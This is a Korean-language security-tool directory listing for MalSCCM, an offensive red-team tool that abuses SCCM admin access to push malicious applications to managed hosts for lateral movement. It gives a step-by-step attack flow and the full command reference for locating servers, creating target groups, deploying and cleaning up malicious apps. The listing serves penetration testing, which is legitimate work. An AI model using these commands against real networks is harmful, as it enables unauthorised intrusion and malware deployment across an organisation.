Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
MalSCCM — SCCM 서버를 악용하여 관리 호스트에 악성 애플리케이션을 배포하고, 측면 이동 및 레드팀 작전을 수행합니다. | Kitploit
도구/GitHubGitHub/nettitude/malsccm
ExploitationLateral MovementPenetration TestingRed Teaming
GitHubnettitude/malsccm

MalSCCM

SCCM 서버를 악용하여 관리 호스트에 악성 애플리케이션을 배포하고, 측면 이동 및 레드팀 작전을 수행합니다.

저장소 보기
2563834년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MalSCCM

이 도구를 사용하면 로컬 또는 원격 SCCM 서버를 악용하여 관리하는 호스트에 악성 애플리케이션을 배포할 수 있습니다. 이 도구를 사용하려면 현재 프로세스가 SCCM 서버에 대한 관리자 권한을 가지고 있어야 합니다.

일반적으로 SCCM 배포에서는 관리 서버와 기본 서버가 동일한 호스트에 있거나, locate 명령에서 반환된 호스트를 기본 서버로 사용할 수 있습니다.

그렇지 않은 경우 locate로 반환된 관리 호스트를 손상시켜 해당 호스트에서 locate를 다시 실행하고 기본 서버 호스트 이름을 얻어야 합니다. 일단 이를 획득하고 관리자 액세스 권한을 얻으면 준비 완료입니다!

블로그

도구 사용에 대한 자세한 정보는 아래 블로그를 참조하세요.

  • https://labs.nettitude.com/blog/introducing-malsccm/

크레딧

이 도구는 PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM)을 기반으로 하며, @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation의 작업 없이는 완성될 수 없었습니다.

공격 흐름

  • 클라이언트를 손상시키고 locate를 사용하여 관리 서버 찾기
  • 관리 서버를 손상시키고 locate를 사용하여 기본 서버 찾기
  • 기본 서버에서 Inspect를 사용하여 대상으로 삼을 수 있는 대상 확인
  • 수평 이동하려는 머신에 대한 새 장치 그룹 생성
  • 새 그룹에 대상 추가
  • 전 세계에서 읽을 수 있는 공유에 있는 악성 EXE를 가리키는 애플리케이션 생성
  • 대상 그룹에 애플리케이션 배포
  • 대상 그룹이 업데이트를 위해 체크인하도록 강제
  • 이익...
  • 애플리케이션 및 배포 정리
  • 그룹 삭제

도움말 메뉴

root@kitploit:~
Commands listed below have optional parameters in <>. 

Attempt to find the SCCM management and primary servers:
    MalSCCM.exe locate

Inspect the primary server to gather SCCM information:
    MalSCCM.exe inspect </server:PrimarySiteHostname> </all /computers /deployments /groups /applications /forest /packages /primaryusers>

Create/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:
    MalSCCM.exe group /create /groupname:example /grouptype:[user|device] </server:PrimarySiteHostname>
    MalSCCM.exe group /delete /groupname:example </server:PrimarySiteHostname>
    MalSCCM.exe group /addhost /groupname:example /host:examplehost </server:PrimarySiteHostname>
    MalSCCM.exe group /adduser /groupname:example /user:exampleuser </server:PrimarySiteHostname>

Create/Deploy/Delete malicious applications:
    MalSCCM.exe app /create /name:appname /uncpath:""\\unc\path"" </server:PrimarySiteHostname>
    MalSCCM.exe app /delete /name:appname </server:PrimarySiteHostname>
    MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 </server:PrimarySiteHostname>
    MalSCCM.exe app /deletedeploy /name:appname </server:PrimarySiteHostname>
    MalSCCM.exe app /cleanup /name:appname </server:PrimarySiteHostname>

Force devices of a group to checkin within a couple minutes:
    MalSCCM.exe checkin /groupname:example </server:PrimarySiteHostname>
도구 다운로드